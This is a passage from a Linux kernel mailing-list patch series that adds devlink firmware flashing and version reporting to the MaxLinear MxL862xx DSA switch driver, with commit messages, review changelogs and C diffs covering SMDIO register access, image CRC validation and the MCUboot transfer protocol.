drivers/net/dsa/mxl862xx/mxl862xx-fw.c | 482 ++++++++++++++++++++
drivers/net/dsa/mxl862xx/mxl862xx-fw.h | 18 +
drivers/net/dsa/mxl862xx/mxl862xx-host.c | 51 +++
drivers/net/dsa/mxl862xx/mxl862xx-host.h | 2 +
drivers/net/dsa/mxl862xx/mxl862xx-phylink.c | 2 +
drivers/net/dsa/mxl862xx/mxl862xx.c | 45 +-
drivers/net/dsa/mxl862xx/mxl862xx.h | 9 +
include/net/dsa.h | 3 +
net/dsa/devlink.c | 13 +
11 files changed, 622 insertions(+), 6 deletions(-)
create mode 100644 drivers/net/dsa/mxl862xx/mxl862xx-fw.c
create mode 100644 drivers/net/dsa/mxl862xx/mxl862xx-fw.h
base-commit: ce6b4d3216b63f902bb8e9695ee6c10c83415f65
--
2.55.0
^ permalink raw reply
* [PATCH net-next v3 1/4] net: dsa: wire flash_update devlink callback to drivers
From: Daniel Golle @ 2026-07-20 3:14 UTC (permalink / raw)
To: Daniel Golle, Andrew Lunn, Vladimir Oltean, David S. Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
linux-kernel, netdev
In-Reply-To: <cover.1784513694.git.daniel@makrotopia.org>
Add a devlink_flash_update callback to dsa_switch_ops so that DSA
drivers can support devlink dev flash without open-coding the devlink
plumbing. The new trampoline in net/dsa/devlink.c follows the existing
dsa_devlink_info_get pattern exactly.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
---
v3: no changes
v2: align continuation lines with the open parenthesis
include/net/dsa.h | 3 +++
net/dsa/devlink.c | 13 +++++++++++++
2 files changed, 16 insertions(+)
diff --git a/include/net/dsa.h b/include/net/dsa.h
index 8c16ef23cc10..c9e19348de61 100644
--- a/include/net/dsa.h
+++ b/include/net/dsa.h
@@ -1170,6 +1170,9 @@ struct dsa_switch_ops {
int (*devlink_info_get)(struct dsa_switch *ds,
struct devlink_info_req *req,
struct netlink_ext_ack *extack);
+ int (*devlink_flash_update)(struct dsa_switch *ds,
+ struct devlink_flash_update_params *params,
+ struct netlink_ext_ack *extack);
int (*devlink_sb_pool_get)(struct dsa_switch *ds,
unsigned int sb_index, u16 pool_index,
struct devlink_sb_pool_info *pool_info);
diff --git a/net/dsa/devlink.c b/net/dsa/devlink.c
index ed342f345692..25311a87cbc5 100644
--- a/net/dsa/devlink.c
+++ b/net/dsa/devlink.c
@@ -20,6 +20,18 @@ static int dsa_devlink_info_get(struct devlink *dl,
return -EOPNOTSUPP;
}
+static int dsa_devlink_flash_update(struct devlink *dl,
+ struct devlink_flash_update_params *params,
+ struct netlink_ext_ack *extack)
+{
+ struct dsa_switch *ds = dsa_devlink_to_ds(dl);
+
+ if (!ds->ops->devlink_flash_update)
+ return -EOPNOTSUPP;
+
+ return ds->ops->devlink_flash_update(ds, params, extack);
+}
+
static int dsa_devlink_sb_pool_get(struct devlink *dl,
unsigned int sb_index, u16 pool_index,
struct devlink_sb_pool_info *pool_info)
@@ -169,6 +181,7 @@ dsa_devlink_sb_occ_tc_port_bind_get(struct devlink_port *dlp,
static const struct devlink_ops dsa_devlink_ops = {
.info_get = dsa_devlink_info_get,
+ .flash_update = dsa_devlink_flash_update,
.sb_pool_get = dsa_devlink_sb_pool_get,
.sb_pool_set = dsa_devlink_sb_pool_set,
.sb_port_pool_get = dsa_devlink_sb_port_pool_get,
--
2.55.0
^ permalink raw reply related
* [PATCH net-next v3 2/4] net: dsa: mxl862xx: add SMDIO clause-22 register access
From: Daniel Golle @ 2026-07-20 3:14 UTC (permalink / raw)
To: Daniel Golle, Andrew Lunn, Vladimir Oltean, David S. Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
linux-kernel, netdev
In-Reply-To: <cover.1784513694.git.daniel@makrotopia.org>
Add mxl862xx_smdio_read() and mxl862xx_smdio_write() for clause-22
SMDIO register access. MCUboot rescue mode only exposes clause-22
registers; the existing clause-45 MMD interface is unavailable during
firmware transfer. The MDIO bus lock is held per-transaction (not
across polls) so that SB PDI polling during flash erase does not
starve other non-switch users of the same MDIO bus, such as separate
PHYs providing WAN or management interfaces.
Unlike mxl862xx_api_wrap(), which takes the bus lock with
MDIO_MUTEX_NESTED because it can be entered from the accessors of
the switch-internal MDIO bus while that bus's lock of the same lock
class is already held, the SMDIO helpers take it with a plain
mutex_lock(). They are only called from probe and devlink flash
contexts where no other MDIO bus lock can be held.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
---
v3: explain the plain mutex_lock() vs MDIO_MUTEX_NESTED choice in
the commit message
v2: clarify in the commit message that the per-transaction bus
locking is about unrelated non-switch devices on the same MDIO
bus (Andrew Lunn)
drivers/net/dsa/mxl862xx/mxl862xx-host.c | 35 ++++++++++++++++++++++++
drivers/net/dsa/mxl862xx/mxl862xx-host.h | 2 ++
2 files changed, 37 insertions(+)
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-host.c b/drivers/net/dsa/mxl862xx/mxl862xx-host.c
index 4acd216f7cc0..6e582caea1fa 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-host.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-host.c
@@ -495,6 +495,41 @@ int mxl862xx_reset(struct mxl862xx_priv *priv)
return ret;
}
+#define MXL862XX_SMDIO_ADDR_REG 0x1f
+#define MXL862XX_SMDIO_PAGE_MASK 0xfff0
+#define MXL862XX_SMDIO_OFF_MASK 0x000f
+
+int mxl862xx_smdio_read(struct mxl862xx_priv *priv, u32 addr)
+{
+ struct mii_bus *bus = priv->mdiodev->bus;
+ int phy = priv->mdiodev->addr;
+ int ret;
+
+ mutex_lock(&bus->mdio_lock);
+ ret = __mdiobus_write(bus, phy, MXL862XX_SMDIO_ADDR_REG,
+ addr & MXL862XX_SMDIO_PAGE_MASK);
+ if (ret >= 0)
+ ret = __mdiobus_read(bus, phy, addr & MXL862XX_SMDIO_OFF_MASK);
+ mutex_unlock(&bus->mdio_lock);
+ return ret;
+}
+
+int mxl862xx_smdio_write(struct mxl862xx_priv *priv, u32 addr, u16 val)
+{
+ struct mii_bus *bus = priv->mdiodev->bus;
+ int phy = priv->mdiodev->addr;
+ int ret;
+
+ mutex_lock(&bus->mdio_lock);
+ ret = __mdiobus_write(bus, phy, MXL862XX_SMDIO_ADDR_REG,
+ addr & MXL862XX_SMDIO_PAGE_MASK);
+ if (ret >= 0)
+ ret = __mdiobus_write(bus, phy, addr & MXL862XX_SMDIO_OFF_MASK,
+ val);
+ mutex_unlock(&bus->mdio_lock);
+ return ret;
+}
+
void mxl862xx_host_init(struct mxl862xx_priv *priv)
{
INIT_WORK(&priv->crc_err_work, mxl862xx_crc_err_work_fn);
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-host.h b/drivers/net/dsa/mxl862xx/mxl862xx-host.h
index 66d6ae198aff..4e054c6e4c0e 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-host.h
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-host.h
@@ -18,5 +18,7 @@ int mxl862xx_api_wrap(struct mxl862xx_priv *priv, u16 cmd, void *data, u16 size,
mxl862xx_api_wrap(dev, cmd, &(data), sizeof((data)), true, true)
int mxl862xx_reset(struct mxl862xx_priv *priv);
+int mxl862xx_smdio_read(struct mxl862xx_priv *priv, u32 addr);
+int mxl862xx_smdio_write(struct mxl862xx_priv *priv, u32 addr, u16 val);
#endif /* __MXL862XX_HOST_H */
--
2.55.0
^ permalink raw reply related
* [PATCH net-next v3 3/4] net: dsa: mxl862xx: add devlink flash_update and info_get
From: Daniel Golle @ 2026-07-20 3:15 UTC (permalink / raw)
To: Daniel Golle, Andrew Lunn, Vladimir Oltean, David S. Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
linux-kernel, netdev
In-Reply-To: <cover.1784513694.git.daniel@makrotopia.org>
Implement runtime firmware upgrade via "devlink dev flash" and version
reporting via "devlink dev info":
devlink dev info mdio_bus/<bus>/<addr>
devlink dev flash mdio_bus/<bus>/<addr> file <firmware.bin>
The "asic.id" fixed version reports a per-model chip name taken from
the OF match data, e.g. "MaxLinear MxL86252", following the mv88e6xxx
example. Userspace such as fwupd builds firmware matching identifiers
from this value.
The firmware image is validated first, including both payload CRCs,
so a malformed file is rejected without disturbing the running
switch. The driver then sends SYS_MISC_FW_UPDATE to enter MCUboot
rescue mode and transfers the signed image over the SB PDI
bulk-transfer protocol (clause-22 SMDIO). Once the transfer has
finished and the switch has rebooted, the driver schedules
device_reprobe() for a clean remove()+probe() cycle.
Before the transfer begins the driver closes all user and conduit
interfaces and additionally marks the user ports not-present via
netif_device_detach() so that userspace cannot bring them back up
during the flash and reprobe cycle, which takes just under a minute.
The conduit belongs to the MAC driver and is only closed. Closing
the ports also stops phylib from polling the switch-internal PHYs,
whose firmware-relayed MDIO access is unavailable while the switch
is in MCUboot mode. Progress is reported through devlink status
notifications.
While the update runs, firmware API commands from any other path are
rejected. The blocking flags are checked under the MDIO bus lock so
that a command which had already passed the check cannot reach the
bus once the switch has rebooted into MCUboot. The periodic stats
poll and the CRC error handler are stopped before the transfer
starts.
Once the FW_UPDATE command has been sent the switch is in MCUboot
mode and normal operation can only be restored by a reprobe, so the
reprobe work item and the module and device references it holds are
set up before the switch is disturbed and the work is scheduled
regardless of transfer outcome.
The reprobe work item is dynamically allocated because
device_reprobe() triggers remove() which frees the devm-managed priv
while the work item is still executing, so the work struct cannot be
a member of priv. iwlwifi uses the same approach for its
firmware-triggered device removal, see iwl_trans_pcie_removal_wk().
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
---
v3:
- validate the image, including both CRCs, before closing any ports
so a malformed file no longer triggers a flash and reprobe cycle
- reject images whose declared payload sizes overflow when summed
(check_add_overflow) or sum up to zero; the latter used to erase
the flash without writing anything back
- allocate the reprobe work item and take the module and device
references before disturbing the switch instead of silently
skipping the reprobe when the allocation fails afterwards
- check block_host/skip_teardown under the MDIO bus lock to close
the window where a command already past the check could reach the
bus after the switch rebooted into MCUboot
- prevent the stats poll work from being re-armed and cancel the
CRC error work before the transfer
- check the return value of SB PDI data word writes; control writes
are verified by the subsequent status polls
- report a per-model chip name from the OF match data as "asic.id"
instead of the devicetree compatible string whose comma is
awkward for userspace consumers (Andrew Lunn)
- commit message: the conduit is only closed, not detached
v2:
- factor out SB PDI slice flush and devlink status notification
helpers, resolving checkpatch issues
- use kzalloc_obj() (Manuel Ebner)
- add kernel-doc for the new mxl862xx_priv members
- trim comments and state the actual duration of a flash and reprobe
cycle, just under a minute (Manuel Ebner)
- reword commit message: split up run-on sentence, explain the
dynamically allocated reprobe work item (Manuel Ebner), mention
that closing the ports stops phylib polling (Andrew Lunn)
drivers/net/dsa/mxl862xx/Makefile | 2 +-
drivers/net/dsa/mxl862xx/mxl862xx-cmd.h | 1 +
drivers/net/dsa/mxl862xx/mxl862xx-fw.c | 453 +++++++++++++++++++++++
drivers/net/dsa/mxl862xx/mxl862xx-fw.h | 15 +
drivers/net/dsa/mxl862xx/mxl862xx-host.c | 11 +
drivers/net/dsa/mxl862xx/mxl862xx.c | 7 +-
drivers/net/dsa/mxl862xx/mxl862xx.h | 6 +
7 files changed, 492 insertions(+), 3 deletions(-)
create mode 100644 drivers/net/dsa/mxl862xx/mxl862xx-fw.c
create mode 100644 drivers/net/dsa/mxl862xx/mxl862xx-fw.h
diff --git a/drivers/net/dsa/mxl862xx/Makefile b/drivers/net/dsa/mxl862xx/Makefile
index a7be0e6669df..bccac0d0f703 100644
--- a/drivers/net/dsa/mxl862xx/Makefile
+++ b/drivers/net/dsa/mxl862xx/Makefile
@@ -1,3 +1,3 @@
# SPDX-License-Identifier: GPL-2.0
obj-$(CONFIG_NET_DSA_MXL862) += mxl862xx_dsa.o
-mxl862xx_dsa-y := mxl862xx.o mxl862xx-host.o mxl862xx-phylink.o
+mxl862xx_dsa-y := mxl862xx.o mxl862xx-host.o mxl862xx-phylink.o mxl862xx-fw.o
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-cmd.h b/drivers/net/dsa/mxl862xx/mxl862xx-cmd.h
index c87a955c13c4..e2aa2934e9e1 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-cmd.h
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-cmd.h
@@ -70,6 +70,7 @@
#define INT_GPHY_READ (GPY_GPY2XX_MAGIC + 0x1)
#define INT_GPHY_WRITE (GPY_GPY2XX_MAGIC + 0x2)
+#define SYS_MISC_FW_UPDATE (SYS_MISC_MAGIC + 0x1)
#define SYS_MISC_FW_VERSION (SYS_MISC_MAGIC + 0x2)
#define MXL862XX_XPCS_PCS_CONFIG (MXL862XX_XPCS_MAGIC + 0x1)
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-fw.c b/drivers/net/dsa/mxl862xx/mxl862xx-fw.c
new file mode 100644
index 000000000000..65c65d96518d
--- /dev/null
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-fw.c
@@ -0,0 +1,453 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Firmware flash and devlink support for MaxLinear MxL862xx
+ *
+ * Copyright (C) 2025 Daniel Golle <daniel@makrotopia.org>
+ */
+
+#include <linux/crc32.h>
+#include <linux/delay.h>
+#include <linux/device.h>
+#include <linux/module.h>
+#include <linux/netdevice.h>
+#include <linux/overflow.h>
+#include <linux/property.h>
+#include <linux/rtnetlink.h>
+#include <net/dsa.h>
+
+#include "mxl862xx.h"
+#include "mxl862xx-api.h"
+#include "mxl862xx-cmd.h"
+#include "mxl862xx-fw.h"
+#include "mxl862xx-host.h"
+
+/* SB PDI registers (clause-22 SMDIO address space) */
+#define MXL862XX_SB_PDI_CTRL 0xe100
+#define MXL862XX_SB_PDI_ADDR 0xe101
+#define MXL862XX_SB_PDI_DATA 0xe102
+#define MXL862XX_SB_PDI_STAT 0xe103
+
+/* SB PDI CTRL modes */
+#define MXL862XX_SB_PDI_CTRL_RST 0x00
+#define MXL862XX_SB_PDI_CTRL_WR 0x02
+
+/* SB PDI handshake magic */
+#define MXL862XX_SB_PDI_READY 0xc55c
+#define MXL862XX_SB_PDI_START 0xf48f
+#define MXL862XX_SB_PDI_END 0x3cc3
+
+/* Firmware transfer geometry */
+#define MXL862XX_FW_HDR_SIZE 20
+#define MXL862XX_FW_BANK_HALF 16384 /* words per half-bank */
+#define MXL862XX_FW_BANK_SLICE 32760 /* words per full slice */
+#define MXL862XX_FW_SB1_ADDR 0x7800 /* SB1 word address */
+
+/* Timeouts (generous upper bounds) */
+#define MXL862XX_FW_READY_TIMEOUT_MS 30000
+#define MXL862XX_FW_ACK_TIMEOUT_MS 5000
+#define MXL862XX_FW_ERASE_TIMEOUT_MS 300000
+#define MXL862XX_FW_WRITE_TIMEOUT_MS 120000
+#define MXL862XX_FW_REBOOT_DELAY_MS 5000
+
+static void mxl862xx_sb_pdi_reset(struct mxl862xx_priv *priv)
+{
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_CTRL,
+ MXL862XX_SB_PDI_CTRL_RST);
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_ADDR,
+ MXL862XX_SB_PDI_CTRL_RST);
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_DATA,
+ MXL862XX_SB_PDI_CTRL_RST);
+}
+
+static int mxl862xx_sb_pdi_poll_stat(struct mxl862xx_priv *priv, u16 expected,
+ unsigned long timeout_ms)
+{
+ unsigned long timeout = jiffies + msecs_to_jiffies(timeout_ms);
+ int ret;
+
+ do {
+ ret = mxl862xx_smdio_read(priv, MXL862XX_SB_PDI_STAT);
+ if (ret < 0)
+ return ret;
+ if ((u16)ret == expected)
+ return 0;
+ usleep_range(10000, 11000);
+ } while (time_before(jiffies, timeout));
+
+ return -ETIMEDOUT;
+}
+
+static int mxl862xx_sb_pdi_flush_slice(struct mxl862xx_priv *priv,
+ u32 data_written)
+{
+ mxl862xx_sb_pdi_reset(priv);
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_STAT, data_written);
+
+ return mxl862xx_sb_pdi_poll_stat(priv, 0,
+ MXL862XX_FW_WRITE_TIMEOUT_MS);
+}
+
+static void mxl862xx_flash_notify(struct devlink *dl, const char *status,
+ u32 done, u32 total)
+{
+ devlink_flash_update_status_notify(dl, status, NULL, done, total);
+}
+
+/* device_reprobe() -> remove() frees priv while the work runs, so
+ * the work struct cannot live in mxl862xx_priv.
+ */
+struct mxl862xx_reprobe {
+ struct device *dev;
+ struct delayed_work dwork;
+};
+
+static void mxl862xx_reprobe_work_fn(struct work_struct *work)
+{
+ struct mxl862xx_reprobe *reprobe =
+ container_of(work, struct mxl862xx_reprobe, dwork.work);
+
+ if (device_reprobe(reprobe->dev))
+ dev_err(reprobe->dev, "reprobe failed\n");
+ put_device(reprobe->dev);
+ kfree(reprobe);
+ module_put(THIS_MODULE);
+}
+
+/* MCUboot firmware image header */
+struct mxl862xx_fw_hdr {
+ __le32 image_type;
+ __le32 image_size_1;
+ __le32 image_checksum_1;
+ __le32 image_size_2;
+ __le32 image_checksum_2;
+} __packed;
+
+static int mxl862xx_flash_validate(struct mxl862xx_priv *priv,
+ const struct firmware *fw,
+ u32 *payload_size)
+{
+ const struct mxl862xx_fw_hdr *hdr;
+ u32 size1, size2, total;
+ const u8 *payload;
+ u32 crc;
+
+ if (fw->size < MXL862XX_FW_HDR_SIZE)
+ return -EINVAL;
+
+ hdr = (const struct mxl862xx_fw_hdr *)fw->data;
+ payload = fw->data + MXL862XX_FW_HDR_SIZE;
+ size1 = le32_to_cpu(hdr->image_size_1);
+ size2 = le32_to_cpu(hdr->image_size_2);
+
+ if (check_add_overflow(size1, size2, &total) ||
+ total > fw->size - MXL862XX_FW_HDR_SIZE) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: firmware file too small for declared size\n");
+ return -EINVAL;
+ }
+
+ if (!total) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: firmware file with empty payload\n");
+ return -EINVAL;
+ }
+
+ if (size1) {
+ crc = ~crc32_le(~0U, payload, size1);
+ if (crc != le32_to_cpu(hdr->image_checksum_1)) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: image 1 CRC mismatch (got %08x, expected %08x)\n",
+ crc, le32_to_cpu(hdr->image_checksum_1));
+ return -EINVAL;
+ }
+ }
+
+ if (size2) {
+ crc = ~crc32_le(~0U, payload + size1, size2);
+ if (crc != le32_to_cpu(hdr->image_checksum_2)) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: image 2 CRC mismatch (got %08x, expected %08x)\n",
+ crc, le32_to_cpu(hdr->image_checksum_2));
+ return -EINVAL;
+ }
+ }
+
+ *payload_size = total;
+
+ return 0;
+}
+
+static int mxl862xx_flash_firmware(struct mxl862xx_priv *priv,
+ const struct firmware *fw,
+ u32 payload_size, struct devlink *dl)
+{
+ const u8 *payload = fw->data + MXL862XX_FW_HDR_SIZE;
+ u32 word_idx = 0, data_written = 0, idx = 0;
+ unsigned long next_notify = 0;
+ u16 word, fdata;
+ int ret, i;
+
+ /* Step 1: reboot the firmware into MCUboot rescue mode */
+ ret = mxl862xx_api_wrap(priv, SYS_MISC_FW_UPDATE, NULL, 0,
+ false, false);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: FW_UPDATE command failed: %pe\n",
+ ERR_PTR(ret));
+ return ret;
+ }
+
+ /* Failures from here on must go through end_magic so MCUboot
+ * reboots instead of waiting forever.
+ */
+
+ /* Step 2: wait for bootloader ready */
+ mxl862xx_flash_notify(dl, "Waiting for bootloader", 0, 0);
+ mxl862xx_sb_pdi_reset(priv);
+ ret = mxl862xx_sb_pdi_poll_stat(priv, MXL862XX_SB_PDI_READY,
+ MXL862XX_FW_READY_TIMEOUT_MS);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: bootloader not ready: %pe\n", ERR_PTR(ret));
+ goto end_magic;
+ }
+
+ /* Step 3: start handshake */
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_STAT,
+ MXL862XX_SB_PDI_START);
+ ret = mxl862xx_sb_pdi_poll_stat(priv, MXL862XX_SB_PDI_START + 1,
+ MXL862XX_FW_ACK_TIMEOUT_MS);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: start handshake failed: %pe\n", ERR_PTR(ret));
+ goto end_magic;
+ }
+
+ /* Step 4: transfer image header */
+ mxl862xx_flash_notify(dl, "Erasing flash", 0, 0);
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_CTRL,
+ MXL862XX_SB_PDI_CTRL_WR);
+ for (i = 0; i < MXL862XX_FW_HDR_SIZE / 2; i++) {
+ word = fw->data[i * 2] |
+ ((u16)fw->data[i * 2 + 1] << 8);
+ ret = mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_DATA, word);
+ if (ret < 0) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: header write failed: %pe\n",
+ ERR_PTR(ret));
+ goto end_magic;
+ }
+ }
+ mxl862xx_sb_pdi_reset(priv);
+
+ /* the byte count in STAT triggers the erase */
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_STAT,
+ MXL862XX_FW_HDR_SIZE);
+
+ /* ACK is byte count + 1 */
+ ret = mxl862xx_sb_pdi_poll_stat(priv, MXL862XX_FW_HDR_SIZE + 1,
+ MXL862XX_FW_ACK_TIMEOUT_MS);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: header ACK failed: %pe\n", ERR_PTR(ret));
+ goto end_magic;
+ }
+
+ /* Step 5: wait for erase to complete */
+ ret = mxl862xx_sb_pdi_poll_stat(priv, 0,
+ MXL862XX_FW_ERASE_TIMEOUT_MS);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: erase timeout: %pe\n", ERR_PTR(ret));
+ goto end_magic;
+ }
+
+ /* Step 6: transfer payload */
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_CTRL,
+ MXL862XX_SB_PDI_CTRL_WR);
+
+ while (idx < payload_size) {
+ if (idx + 1 < payload_size) {
+ fdata = payload[idx] |
+ ((u16)payload[idx + 1] << 8);
+ idx += 2;
+ data_written += 2;
+ } else {
+ fdata = payload[idx];
+ idx++;
+ data_written++;
+ }
+
+ ret = mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_DATA, fdata);
+ if (ret < 0) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: data write failed at %u/%u: %pe\n",
+ idx, payload_size, ERR_PTR(ret));
+ goto end_magic;
+ }
+ word_idx++;
+
+ if (idx >= payload_size) {
+ ret = mxl862xx_sb_pdi_flush_slice(priv, data_written);
+ break;
+ }
+
+ /* Half-bank boundary: switch to SB1 address */
+ if (word_idx == MXL862XX_FW_BANK_HALF) {
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_CTRL,
+ MXL862XX_SB_PDI_CTRL_RST);
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_ADDR,
+ MXL862XX_FW_SB1_ADDR);
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_CTRL,
+ MXL862XX_SB_PDI_CTRL_WR);
+ } else if (word_idx >= MXL862XX_FW_BANK_SLICE) {
+ ret = mxl862xx_sb_pdi_flush_slice(priv, data_written);
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: write timeout at %u/%u: %pe\n",
+ idx, payload_size, ERR_PTR(ret));
+ goto end_magic;
+ }
+ word_idx = 0;
+ data_written = 0;
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_CTRL,
+ MXL862XX_SB_PDI_CTRL_WR);
+
+ if (time_after(jiffies, next_notify)) {
+ mxl862xx_flash_notify(dl, "Flashing", idx,
+ payload_size);
+ next_notify = jiffies + msecs_to_jiffies(500);
+ }
+ }
+ }
+
+ if (ret) {
+ dev_err(&priv->mdiodev->dev,
+ "flash: final write timeout: %pe\n", ERR_PTR(ret));
+ goto end_magic;
+ }
+
+ mxl862xx_flash_notify(dl, "Flashing", payload_size, payload_size);
+
+end_magic:
+ /* reboot MCUboot even after a failed transfer */
+ mxl862xx_smdio_write(priv, MXL862XX_SB_PDI_STAT,
+ MXL862XX_SB_PDI_END);
+ msleep(MXL862XX_FW_REBOOT_DELAY_MS);
+
+ return ret;
+}
+
+int mxl862xx_devlink_info_get(struct dsa_switch *ds,
+ struct devlink_info_req *req,
+ struct netlink_ext_ack *extack)
+{
+ struct mxl862xx_priv *priv = ds->priv;
+ const char *model;
+ char ver_str[32];
+ int ret;
+
+ model = device_get_match_data(ds->dev);
+ if (model) {
+ ret = devlink_info_version_fixed_put(req,
+ DEVLINK_INFO_VERSION_GENERIC_ASIC_ID,
+ model);
+ if (ret)
+ return ret;
+ }
+
+ snprintf(ver_str, sizeof(ver_str), "%u.%u.%u",
+ priv->fw_version.major, priv->fw_version.minor,
+ priv->fw_version.revision);
+
+ return devlink_info_version_running_put(req, "fw", ver_str);
+}
+
+int mxl862xx_devlink_flash_update(struct dsa_switch *ds,
+ struct devlink_flash_update_params *params,
+ struct netlink_ext_ack *extack)
+{
+ struct mxl862xx_priv *priv = ds->priv;
+ struct mxl862xx_sys_fw_image_version ver = {};
+ struct mxl862xx_reprobe *reprobe;
+ struct dsa_port *dp;
+ u32 payload_size;
+ int ret, i;
+
+ if (params->component) {
+ NL_SET_ERR_MSG_MOD(extack, "component is not supported");
+ return -EOPNOTSUPP;
+ }
+
+ ret = mxl862xx_flash_validate(priv, params->fw, &payload_size);
+ if (ret) {
+ NL_SET_ERR_MSG_MOD(extack, "firmware image validation failed");
+ return ret;
+ }
+
+ /* Everything needed to schedule the reprobe which restores
+ * normal operation must be in place before the switch is
+ * disturbed.
+ */
+ reprobe = kzalloc_obj(*reprobe);
+ if (!reprobe)
+ return -ENOMEM;
+
+ if (!try_module_get(THIS_MODULE)) {
+ kfree(reprobe);
+ return -ENODEV;
+ }
+
+ reprobe->dev = get_device(ds->dev);
+ INIT_DELAYED_WORK(&reprobe->dwork, mxl862xx_reprobe_work_fn);
+
+ dev_info(ds->dev, "flash: running firmware %u.%u.%u\n",
+ priv->fw_version.major, priv->fw_version.minor,
+ priv->fw_version.revision);
+
+ /* Close ports while the firmware is still alive so the DSA
+ * core's MDB/FDB tracking is drained, and detach user ports
+ * so userspace cannot reopen them during the flash. The
+ * conduit belongs to the MAC driver and is only closed.
+ */
+ rtnl_lock();
+ dsa_switch_for_each_user_port(dp, ds) {
+ if (dp->user) {
+ dev_close(dp->user);
+ netif_device_detach(dp->user);
+ }
+ }
+ dsa_switch_for_each_cpu_port(dp, ds)
+ dev_close(dp->conduit);
+ rtnl_unlock();
+
+ priv->block_host = true;
+
+ set_bit(MXL862XX_FLAG_WORK_STOPPED, &priv->flags);
+ cancel_delayed_work_sync(&priv->stats_work);
+ cancel_work_sync(&priv->crc_err_work);
+ for (i = 0; i < ds->num_ports; i++)
+ cancel_work_sync(&priv->ports[i].host_flood_work);
+
+ ret = mxl862xx_flash_firmware(priv, params->fw, payload_size,
+ ds->devlink);
+ if (ret)
+ NL_SET_ERR_MSG_MOD(extack, "firmware transfer failed");
+
+ if (!ret) {
+ /* lift the block to query the new firmware version */
+ priv->block_host = false;
+ memset(&ver, 0, sizeof(ver));
+ if (!MXL862XX_API_READ_QUIET(priv, SYS_MISC_FW_VERSION, ver) &&
+ ver.iv_major)
+ dev_info(ds->dev, "flash: new firmware %u.%u.%u\n",
+ ver.iv_major, ver.iv_minor,
+ le16_to_cpu(ver.iv_revision));
+ }
+
+ priv->skip_teardown = true;
+
+ schedule_delayed_work(&reprobe->dwork, msecs_to_jiffies(500));
+
+ return ret;
+}
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-fw.h b/drivers/net/dsa/mxl862xx/mxl862xx-fw.h
new file mode 100644
index 000000000000..a1b60fbacebf
--- /dev/null
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-fw.h
@@ -0,0 +1,15 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#ifndef __MXL862XX_FW_H
+#define __MXL862XX_FW_H
+
+#include <net/dsa.h>
+
+int mxl862xx_devlink_info_get(struct dsa_switch *ds,
+ struct devlink_info_req *req,
+ struct netlink_ext_ack *extack);
+int mxl862xx_devlink_flash_update(struct dsa_switch *ds,
+ struct devlink_flash_update_params *params,
+ struct netlink_ext_ack *extack);
+
+#endif /* __MXL862XX_FW_H */
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx-host.c b/drivers/net/dsa/mxl862xx/mxl862xx-host.c
index 6e582caea1fa..5ecb19f52658 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx-host.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx-host.c
@@ -15,6 +15,7 @@
#include <linux/unaligned.h>
#include <net/dsa.h>
#include "mxl862xx.h"
+#include "mxl862xx-cmd.h"
#include "mxl862xx-host.h"
#define CTRL_BUSY_MASK BIT(15)
@@ -340,6 +341,16 @@ int mxl862xx_api_wrap(struct mxl862xx_priv *priv, u16 cmd, void *_data,
mutex_lock_nested(&priv->mdiodev->bus->mdio_lock, MDIO_MUTEX_NESTED);
+ if (priv->skip_teardown) {
+ ret = 0;
+ goto out;
+ }
+
+ if (priv->block_host && cmd != SYS_MISC_FW_UPDATE) {
+ ret = -EBUSY;
+ goto out;
+ }
+
max = (size + 1) / 2;
ret = mxl862xx_busy_wait(priv);
diff --git a/drivers/net/dsa/mxl862xx/mxl862xx.c b/drivers/net/dsa/mxl862xx/mxl862xx.c
index 45d237b3a40f..4f3a9b311b52 100644
--- a/drivers/net/dsa/mxl862xx/mxl862xx.c
+++ b/drivers/net/dsa/mxl862xx/mxl862xx.c
@@ -21,6 +21,7 @@
#include "mxl862xx.h"
